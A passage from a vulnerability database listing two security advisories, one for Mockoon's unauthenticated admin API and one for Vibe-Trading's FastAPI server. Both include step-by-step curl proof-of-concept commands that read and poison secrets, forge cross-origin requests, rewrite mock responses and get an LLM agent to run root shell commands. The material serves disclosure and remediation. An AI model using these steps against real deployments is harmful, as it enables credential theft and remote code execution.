  6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-732",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:42Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMockoon\u0027s admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var \u2014 searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server\u0027s port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** \u2014 poison operator\u0027s `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, \u2026, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route\u0027s body / status / headers in-runtime** via `PUT /mockoon-admin/environment` \u2014 downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer\u0027s request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // \u2190 default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags[\u0027disable-admin-api\u0027],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // \u2190 default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) =\u003e {\n  res.setHeaders(\n    new Headers({\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027:\n        \u0027GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027:\n        \u0027Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\u0027\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) =\u003e {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined \u0026\u0026 value !== undefined) {\n      process.env[key] = value;                            // \u2190 any process env, any value\n      res.send({ message: `Environment variable \u0027${key}\u0027 has been set to \u0027${value}\u0027` });\n    } else {\n      throw new Error(\u0027Key or value missing from request\u0027);\n    }\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid request\u0027 });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful \u2014 runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) =\u003e {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n      return;\n    }\n    updateEnvironment(environment);                        // \u2190 runtime mutation of every route response\n    res.send({ message: \u0027Environment updated\u0027 });\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n  }\n});\n```\n\nDefault `hostname: \u0027\u0027` (`packages/commons/src/constants/environment-schema.constants.ts:33`) \u2192 Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `\u00270.0.0.0\u0027`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar \u0027MOCKOON_API_KEY\u0027}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    \u003c-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth \u2192 downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-POISONED-BY-ATTACKER\u0027\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}\u0027\n{\"message\":\"Environment variable \u0027AWS_SECRET_ACCESS_KEY\u0027 has been set to \u0027overwritten-by-attacker\u0027\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-EXFIL-FROM-attacker.evil\u0027\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }\u0027\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I\u0027m a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream \u2192 harvest consumer\u0027s auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer\u0027s `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back \u2014 continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key \u2014 poison operator\u0027s secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route\u0027s body / status / headers \u2192 downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler \u2014 reject any `key` that doesn\u0027t start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.",
  "id": "GHSA-rqx4-3f6q-3x2v",
  "modified": "2026-09-11T22:04:42Z",
  "published": "2026-09-11T22:04:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft"
}

GHSA-V2F8-6655-7GRJ

Vulnerability from github – Published: 2026-10-02 22:44 – Updated: 2026-10-02 22:44
VLAI
Summary
Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain
Details

Summary:

5 findings — unauthenticated full-API exposure (F1, lead Critical), read-side authorization gap that persists even with API_AUTH_KEY set (F2), unauthenticated file write of .py/.sh/.yaml to a server-returned path (F3), default-permissive CORS that combines with a loopback-only check to grant any browser page on whitelisted localhost ports credentialed cross-origin access (F-A4), and partial API-key disclosure via _mask_secret() (F-A5).


Shared baseline (applies to all 5 findings)

The shipped agent/.env.example line 112 ships # API_AUTH_KEY= commented out. require_auth() at agent/api_server.py line 303 executes if not api_key: return and returns None immediately when API_AUTH_KEY is unset, so every endpoint decorated with dependencies=[Depends(require_auth)] operates as unauthenticated. The shipped Dockerfile does not contain a USER directive, so the FastAPI process runs as uid=0(root) inside the container (verified: docker exec id returns uid=0(root) gid=0(root)). The docker-compose.yml binds 0.0.0.0:8899 with no network restriction.

The only operator action required beyond a clean install is supplying a working LLM API key so the agent loop can complete its tool-call round trip — this is the normal first step to make the agent functional, not an additional security opt-in. F-A4 and F-A5 do not require an LLM key (see per-finding notes); F1 and F3 do not require an LLM key for the unauth surface itself, only for the chained RCE demonstration in F1.

Reproducer environment (common)

git clone https://github.com/HKUDS/Vibe-Trading.git
cd Vibe-Trading
git checkout 7452610113a75529b5d55fd2217bb17f7bec66f7   # v0.1.6 + 1 frontend fix; same vuln state as v0.1.6
cp agent/.env.example agent/.env
# (For F1 chained demo only:) edit agent/.env to set OPENROUTER_API_KEY=<real key>
docker compose up -d
# port 8899 is now reachable; HOST below is the docker host's IP from the attacker's perspective

Note on the HOST placeholder used throughout the per-finding "Steps to observe" blocks below: replace HOST with the address you reach the docker host on — typically localhost (or 127.0.0.1) if you are running the reproducer on the same machine as the container. All curl commands below assume this substitution.


Finding 1 — Critical: Unauthenticated network client reaches shell execution via POST /sessions/{id}/messages

  • Severity: Critical
  • CVSS v3.1: 9.8 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CVSS v4.0: 10.0 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
  • CWE: CWE-306 (Missing Authentication for Critical Function); chains into CWE-78 (Group B, F6)

Affected files: - agent/api_server.py:303 — if not api_key: return early return in require_auth() - agent/api_server.py:736 — @app.post("/sessions/{session_id}/messages", dependencies=[Depends(require_auth)]) (the dependency is a no-op when API_AUTH_KEY is unset) - agent/src/tools/bash_tool.py:44-46 — subprocess.run(command, shell=True, cwd=cwd) with command read from kwargs['command'] (full bug detail tracked in GHSA-2 / Group B / F6)

Intent vs actual: The session API is intended to serve authenticated users only. When API_AUTH_KEY is unset, require_auth() returns None immediately and dependencies=[Depends(require_auth)] becomes a no-op. Any anonymous TCP client to port 8899 can therefore create a session, post a message, and receive the LLM agent's response. The LLM ReAct agent — given a natural-language request to run a command — selects BashTool from the auto-discovered registry, which calls subprocess.run(command, shell=True) with the LLM-emitted string. The container has no USER directive, so the resulting process runs as uid=0(root).

Steps to observe:

  1. Start the server per the shared reproducer above (with a working OPENROUTER_API_KEY set in agent/.env). Confirm curl -fs http://HOST:8899/health returns 200.
  2. SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Content-Type: application/json' -d '{}' | python3 -c "import json,sys;print(json.load(sys.stdin)['session_id'])")
  3. curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Execute the shell command '\''id && uname -a'\'' and report the output verbatim."}'
  4. Wait ~5–15 seconds, then curl -s "http://HOST:8899/sessions/$SID/messages" and observe the BashTool result message containing uid=0(root), the kernel version, and the container hostname — all returned with no Authorization header on any of the three requests.

Impact: An unauthenticated caller with TCP access to port 8899 can execute arbitrary shell commands as root inside the container. This is the top-severity entry point of the RCE chain. Combined with the absent USER directive in the Dockerfile, the blast radius is full container takeover.


Finding 2 — High: Read endpoints return full session history with no authentication, even when API_AUTH_KEY is set

  • Severity: High
  • CVSS v3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVSS v4.0: 8.7 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-862 (Missing Authorization)

Affected file: agent/api_server.py — require_auth() docstring at line 289 states "Only write endpoints (POST/PUT/DELETE/PATCH) use this dependency." Read endpoints with no Depends(require_auth): - line 804 — @app.get("/runs", response_model=List[RunInfo]) - line 788 — @app.get("/runs/{run_id}", response_model=RunResponse) - line 748 — @app.get("/runs/{run_id}/code") - line 769 — @app.get("/runs/{run_id}/pine") - line 1153 — @app.get("/sessions", response_model=List[SessionResponse]) - line 1173 — @app.get("/sessions/{session_id}", response_model=SessionResponse) - line 1251 — @app.get("/sessions/{session_id}/messages", response_model=List[MessageResponse]) - line 1272 — @app.get("/sessions/{session_id}/events") - line 1444 — @app.get("/swarm/runs")

Intent vs actual: When API_AUTH_KEY is configured, the implicit operator expectation is that all session data is protected. The actual design is documented in the docstring at line 289 — read endpoints have no Depends(require_auth), so they remain unauthenticated even with API_AUTH_KEY set. A runtime probe with API_AUTH_KEY=any-secret-value configured: a session was created with a valid Bearer token, a message containing BROKER_TOKEN=ts-secret-deadbeef-real-private-data was posted, then GET /sessions/{id}/messages was issued with no Authorization header and returned HTTP 200 with the broker token string verbatim in the response — confirming the gap persists when authentication is enabled.

Steps to observe:

  1. Set API_AUTH_KEY=any-secret-value in agent/.env. Under docker compose, add a bind-mount on the vibe-trading service so the container reads the change: volumes: - ./agent/.env:/app/agent/.env:ro. Then docker compose up -d --force-recreate (a plain restart reuses the existing process env and will not pick up the change).
  2. SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Authorization: Bearer any-secret-value' -H 'Content-Type: application/json' -d '{}' | python3 -c "import json,sys;print(json.load(sys.stdin)['session_id'])")
  3. curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Authorization: Bearer any-secret-value' -H 'Content-Type: application/json' -d '{"content":"BROKER_TOKEN=ts-secret-test-value"}' (this requires the Bearer token because POST is auth-protected)
  4. No-auth read — curl -s "http://HOST:8899/sessions/$SID/messages" (no Authorization header). Observe HTTP 200 with the broker token visible.
  5. Also: curl -s "http://HOST:8899/runs" returns all run records (including their prompt fields) with no auth.

Impact: An unauthenticated caller can enumerate the full history of every agent session — including any broker tokens, LLM API keys, or trading account details the operator has pasted into prompts. The gap persists when the operator believes their write operations are protected, making it deceptive for operators who have followed the SECURITY.md spirit and turned auth on.


Finding 3 — High: Unauthenticated POST /upload writes arbitrary .py/.sh/.yaml files to server filesystem with full path returned

  • Severity: High
  • CVSS v3.1: 8.1 — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
  • CVSS v4.0: 8.7 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
  • CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)

Affected file: - agent/api_server.py:1310-1321 — _BLOCKED_UPLOAD_EXT set rejects .exe, .msi, .bat, .cmd, .com, .scr, .app, .dmg, .so, .dll, .dylib, .zip, .rar, .7z, .tar, .gz, .tgz, .bz2, .xz — but not .py, .sh, .yaml, .j2, .json, .html, or Dockerfile - agent/api_server.py:1347 — @app.post("/upload", dependencies=[Depends(require_auth)]) (no-op when API_AUTH_KEY unset)

Intent vs actual: POST /upload is intended as an authenticated file-staging mechanism. In default config the auth dependency is a no-op (per F1). The extension blocklist is a denylist not an allowlist, so dangerous executable-adjacent types pass through. The uploaded file is saved as <uuid>.<ext> and the full resolved server path is returned in the response body under "file_path", so the attacker does not need to guess paths.

Steps to observe (no LLM key required):

  1. Start the server in default config (no API_AUTH_KEY).
  2. curl -s -X POST http://HOST:8899/upload -F 'file=@/dev/stdin;filename=payload.py' <<< 'print("ATTACKER_CONTROLLED")'
  3. Observe HTTP 200 with JSON containing "status":"ok" and "file_path":"/app/agent/uploads/<uuid>.py".
  4. Repeat with filename=config.yaml and filename=run.sh to confirm multiple executable-adjacent types pass.

Impact: Any unauthenticated caller can write arbitrary Python scripts, shell scripts, or YAML configuration to a known, server-returned path. F3 is independent of any LLM API key — it is the cleanest unauth-write primitive in the codebase. The uploaded file is reachable from the LLM agent's tool envelope and chains into Group B / F8 (backtest exec_module premature exec) for a non-bash RCE path.


Finding A4 — Medium: Default-permissive CORS allowlist + loopback-only check on /settings let any localhost-served browser page drive credentialed cross-origin requests

  • Severity: Medium
  • CVSS v3.1: 7.7 — AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
  • CVSS v4.0: 6.3 — AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-942 (Permissive Cross-domain Policy with Untrusted Domains); CWE-346 (Origin Validation Error)

Affected file: - agent/api_server.py:252-264 — _CORS_ORIGINS = os.getenv(...) defaults to a list of six localhost origins (http://localhost:3000, :5173, :8000; same for 127.0.0.1); CORSMiddleware is added with allow_credentials=True, allow_methods=["*"], allow_headers=["*"] - agent/api_server.py:309-336 — _is_local_client() and require_local_or_auth(): the loopback check examines request.client.host (TCP peer IP), which is 127.0.0.1 for any browser request from the same machine, regardless of the page's origin - agent/api_server.py:908 — dependencies=[Depends(require_local_or_auth)] on /settings/llm and related endpoints (granted to any browser request from the host)

Intent vs actual: The CORS allowlist is intended to permit the bundled Vite/React frontend to make credentialed API calls during development. The intent is a development-convenience configuration. The actual configuration permits any local web page served from one of the six listed origins — which includes any other application, IDE preview pane, local web tool, or static HTML file served by another process listening on those ports — to issue credentialed cross-origin POSTs/GETs and read the responses in JavaScript. Because the loopback check at _is_local_client() examines the TCP peer IP (always 127.0.0.1 for browser requests from the host), browser-driven cross-origin requests from a whitelisted origin also bypass the loopback restriction on /settings/*, which would otherwise have been the only barrier.

Steps to observe (no LLM key required):

  1. Start the server in default config.
  2. Preflight: curl -s -X OPTIONS "http://HOST:8899/sessions" -H "Origin: http://localhost:3000" -H "Access-Control-Request-Method: POST" -i — observe the response includes access-control-allow-credentials: true, access-control-allow-origin: http://localhost:3000, and access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT.
  3. Confirm a real POST /sessions with Origin: http://localhost:3000 returns the same allow-credentials header in the response so a browser can read the body.
  4. Preflight against a settings endpoint: curl -s -X OPTIONS "http://HOST:8899/settings/llm" -H "Origin: http://localhost:3000" -i. Then curl -s "http://HOST:8899/settings/llm" -H "Origin: http://localhost:3000" and observe the response is allowed because request.client.host = 127.0.0.1 satisfies _is_local_client().
  5. Negative control: curl -s -X OPTIONS "http://HOST:8899/sessions" -H "Origin: http://evil.example.com" -i — observe no CORS headers, demonstrating the allowlist is functional for non-localhost origins.

Impact: Any malicious or compromised local web page on a whitelisted localhost port can silently drive the Vibe-Trading API in the operator's browser context — creating sessions, posting messages (which chain into F1's BashTool RCE), reading session histories (F2), and reading settings including the partial-key hint exposed by F-A5. Required user interaction is limited to the operator visiting a page that issues background fetch() calls. This expands the F1-F3 surface from direct TCP attackers to browser-mediated attackers that share a host with a developer running the agent.


Finding A5 — Medium: Settings endpoints expose first-4 + last-4 characters of every configured API key via _mask_secret()

  • Severity: Medium
  • CVSS v3.1: 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • CVSS v4.0: 6.9 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-200 (Exposure of Sensitive Information)

Affected files: - agent/api_server.py:467-474 — _mask_secret() returns f"{value[:4]}...{value[-4:]}" for any string longer than 8 characters - agent/api_server.py:372 — LLM_API_KEY_PLACEHOLDERS filters out shipped placeholders so the leak fires only when a real key is configured - agent/api_server.py:505-522 — GET /settings/llm returns api_key_hint = _mask_secret(api_key) if api_key_configured else None - agent/api_server.py:561 — GET /settings/data-sources returns tushare_token_hint=_mask_secret(token) if token_configured else None - agent/test_settings_api.py:106 — assertion api_key_hint == "or-s...alue" for input or-secret-value confirms the 4+4 reveal is the intended API contract

Intent vs actual: The frontend needs to confirm to the operator that an API key is configured, so the appropriate hint is a boolean presence indicator or a fixed placeholder. The actual implementation reveals the first 4 and last 4 characters. For structured provider keys with predictable prefixes (sk-or-v1-, gsk_, xoxb-, ts-), the leading 4 bytes are largely fixed and the entropy leak is concentrated in the trailing 4 — which can be material for tokens with bounded total entropy (e.g. Tushare tokens). A runtime probe configured OPENROUTER_API_KEY=sk-or-v1-AbCdEfGhXyZ12345fakekey and TUSHARE_TOKEN=ts-real-shaped-token-1234567890ab and observed api_key_hint='sk-o...ekey' and tushare_token_hint='ts-r...90ab' from the corresponding GET endpoints.

Steps to observe (no LLM key required other than the configured value being non-placeholder; the call itself does not consume the LLM):

  1. Edit agent/.env to replace the placeholder with a real-shaped key, e.g. OPENROUTER_API_KEY=sk-or-v1-TestKeyAbcde12345. Restart the server.
  2. From any loopback client or via the F-A4 cross-origin path, curl -s "http://127.0.0.1:8899/settings/llm" (no Authorization header).
  3. Observe HTTP 200 with api_key_configured=true and api_key_hint containing the first 4 and last 4 characters of the real key.
  4. curl -s "http://127.0.0.1:8899/settings/data-sources" to observe tushare_token_hint follow the same pattern.

Impact: Every functional deployment leaks structured bytes of the configured API keys. Combined with offline guessing against bounded-entropy provider keys (notably Tushare tokens), the partial reveal can narrow the attack space to a tractable bruteforce window. The leak is reachable from the F-A4 cross-origin browser path, so it does not require even loopback TCP access — only an operator who visits a malicious local web page in a browser running on the same host as the agent.


Suggested remediation (per finding)

  1. F1 / F3 — require_auth() must fail closed when API_AUTH_KEY is not set. Either raise on startup if the env var is empty, or generate a random per-install key and emit a one-time bootstrap message. Replace the if not api_key: return shortcut at line 303 with explicit handling of dev-vs-production.
  2. F2 — Apply Depends(require_auth) to all read-side @app.get() decorators (/runs*, /sessions*, /swarm/runs*). The current docstring at line 289 ("Only write endpoints use this dependency") describes the bug rather than design intent.
  3. F3 — Convert _BLOCKED_UPLOAD_EXT to an allowlist (.csv, .tsv, .json, .pdf, .txt, .xlsx, .docx etc.) rather than a denylist; add .py, .sh, .yaml, .j2, Dockerfile to the rejection set in any case. Place uploads in a directory outside the agent's tool-discovery envelope.
  4. F-A4 — Tighten _CORS_ORIGINS default to only http://localhost:5173 (the bundled Vite dev port). Decouple _is_local_client from request.client.host — require either a Bearer token or a positive Origin header check, not the TCP peer IP. Document loud that adding any port to _CORS_ORIGINS grants full credentialed cross-origin API access.
  5. F-A5 — Replace _mask_secret() with a fixed placeholder ("•••configured•••") or a boolean presence flag. If the UI requires a hint, hash the key (truncated SHA-256) so the hint cannot be inverted to bytes of the original.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vibe-trading-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-434",
      "CWE-862",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:44:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary: \n5 findings \u2014 unauthenticated full-API exposure (F1, lead Critical), read-side authorization gap that persists even with `API_AUTH_KEY` set (F2), unauthenticated file write of `.py`/`.sh`/`.yaml` to a server-returned path (F3), default-permissive CORS that combines with a loopback-only check to grant any browser page on whitelisted localhost ports credentialed cross-origin access (F-A4), and partial API-key disclosure via `_mask_secret()` (F-A5).\n\n---\n\n### Shared baseline (applies to all 5 findings)\n\nThe shipped `agent/.env.example` line 112 ships `# API_AUTH_KEY=` commented out. `require_auth()` at `agent/api_server.py` line 303 executes `if not api_key: return` and returns `None` immediately when `API_AUTH_KEY` is unset, so every endpoint decorated with `dependencies=[Depends(require_auth)]` operates as unauthenticated. The shipped `Dockerfile` does **not** contain a `USER` directive, so the FastAPI process runs as `uid=0(root)` inside the container (verified: `docker exec id` returns `uid=0(root) gid=0(root)`). The `docker-compose.yml` binds `0.0.0.0:8899` with no network restriction.\n\nThe only operator action required beyond a clean install is supplying a working LLM API key so the agent loop can complete its tool-call round trip \u2014 this is the normal first step to make the agent functional, not an additional security opt-in. F-A4 and F-A5 do *not* require an LLM key (see per-finding notes); F1 and F3 do not require an LLM key for the unauth surface itself, only for the chained RCE demonstration in F1.\n\n### Reproducer environment (common)\n\n```sh\ngit clone https://github.com/HKUDS/Vibe-Trading.git\ncd Vibe-Trading\ngit checkout 7452610113a75529b5d55fd2217bb17f7bec66f7   # v0.1.6 + 1 frontend fix; same vuln state as v0.1.6\ncp agent/.env.example agent/.env\n# (For F1 chained demo only:) edit agent/.env to set OPENROUTER_API_KEY=\u003creal key\u003e\ndocker compose up -d\n# port 8899 is now reachable; HOST below is the docker host\u0027s IP from the attacker\u0027s perspective\n```\n\n\u003e **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on \u2014 typically `localhost` (or 